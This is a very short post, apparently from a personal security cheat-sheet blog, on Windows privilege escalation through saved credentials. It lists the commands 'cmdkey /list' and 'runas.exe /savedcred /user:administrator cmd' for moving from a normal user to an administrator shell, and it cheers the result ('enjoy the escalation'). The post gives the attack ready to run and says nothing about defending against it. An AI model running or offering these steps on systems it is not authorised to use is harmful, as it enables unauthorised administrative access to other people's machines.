Home windows command & paste
Post
Cancel

windows command & paste

From Powershell:

PS C:\Users\john> cmdkey /list;

Check the stored credential (eg. administrator) and run:

PS C:\Users\john> runas.exe /savedcred /user:administrator cmd; run command prompt as administrator.

enjoy the escalation from john to admnistrator ;)

C:\Windows\system32> whoami;

This post is licensed under CC BY 4.0 by the author.